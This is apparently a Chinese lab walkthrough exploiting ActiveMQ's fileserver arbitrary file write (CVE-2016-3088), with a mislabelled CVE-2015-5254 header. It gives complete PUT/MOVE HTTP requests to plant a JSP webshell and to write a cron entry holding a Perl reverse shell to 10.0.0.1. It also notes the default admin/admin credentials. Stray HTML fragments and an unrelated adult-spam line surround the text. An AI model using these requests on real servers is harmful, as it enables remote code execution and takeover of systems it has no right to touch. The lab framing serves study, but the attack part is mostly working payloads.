<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ActiveMQ任意文件寫入漏洞(CVE-2016-3088)

    CVE-2015-5254
    Path activemq/CVE-2015-5254

    環境搭建

    搭建及運行漏洞環境:

    docker-compose build
    docker-compose up -d

    環境監聽61616端口和8161端口,其中8161為web控制臺端口,本漏洞就出現在web控制臺中。

    訪問http://your-ip:8161/看到web頁面,說明環境已成功運行。

    背景簡述

    ActiveMQ的web控制臺分三個應用,admin、api和fileserver,其中admin是管理員頁面,api是接口,fileserver是儲存文件的接口;admin和api都需要登錄后才能使用,fileserver無需登錄。

    fileserver是一個RESTful API接口,我們可以通過GET、PUT、DELETE等HTTP請求對其中存儲的文件進行讀寫操作,其設計目的是為了彌補消息隊列操作不能傳輸、存儲二進制文件的缺陷,但后來發現:

    1. 其使用率并不高
    2. 文件操作容易出現漏洞

    所以,ActiveMQ在5.12.x~5.13.x版本中,已經默認關閉了fileserver這個應用(你可以在conf/jetty.xml中開啟之);在5.14.0版本以后,徹底刪除了fileserver應用。

    在測試過程中,可以關注ActiveMQ的版本,避免走彎路。

    漏洞詳情

    本漏洞出現在fileserver應用中,漏洞原理其實非常簡單,就是fileserver支持寫入文件(但不解析jsp),同時支持移動文件(MOVE請求)。所以,我們只需要寫入一個文件,然后使用MOVE請求將其移動到任意位置,造成任意文件寫入漏洞。

    文件寫入有幾種利用方法:

    1. 寫入webshell
    2. 寫入cron或ssh key等文件
    3. 寫入jar或jetty.xml等庫和配置文件

    寫入webshell的好處是,門檻低更方便,但前面也說了fileserver不解析jsp,admin和api兩個應用都需要登錄才能訪問,所以有點雞肋;寫入cron或ssh key,好處是直接反彈拿shell,也比較方便,缺點是需要root權限;寫入jar,稍微麻煩點(需要jar的后門),寫入xml配置文件,這個方法比較靠譜,但有個雞肋點是:我們需要知道activemq的絕對路徑。

    分別說一下上述幾種利用方法。

    寫入webshell

    前面說了,寫入webshell,需要寫在admin或api應用中,而這倆應用都需要登錄才能訪問。

    默認的ActiveMQ賬號密碼均為admin,首先訪問http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的絕對路徑:

    ActiveMQ任意文件寫入漏洞(CVE-2016-3088)

    然后上傳webshell:

    PUT /fileserver/2.txt HTTP/1.1
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 120976
    
    webshell...

    移動到web目錄下的api文件夾(/opt/activemq/webapps/api/s.jsp)中:

    MOVE /fileserver/2.txt HTTP/1.1
    Destination: file:///opt/activemq/webapps/api/s.jsp
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 0
    
    

    訪問webshell(需要登錄):

    ActiveMQ任意文件寫入漏洞(CVE-2016-3088)

    寫入crontab,自動化彈shell

    這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要\n,不能是\r\n,否則crontab執行會失敗):

    PUT /fileserver/1.txt HTTP/1.1
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 248
    
    */1 * * * * root /usr/bin/perl -e 'use Socket;$i="10.0.0.1";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    將其移動到/etc/cron.d/root

    MOVE /fileserver/1.txt HTTP/1.1
    Destination: file:///etc/cron.d/root
    Host: localhost:8161
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 0
    
    

    如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell:

    ActiveMQ任意文件寫入漏洞(CVE-2016-3088)

    這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。

    寫入jetty.xml或jar

    理論上我們可以覆蓋jetty.xml,將admin和api的登錄限制去掉,然后再寫入webshell。

    有的情況下,jetty.xml和jar的所有人是web容器的用戶,所以相比起來,寫入crontab成功率更高一點。

    尚未測試。

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类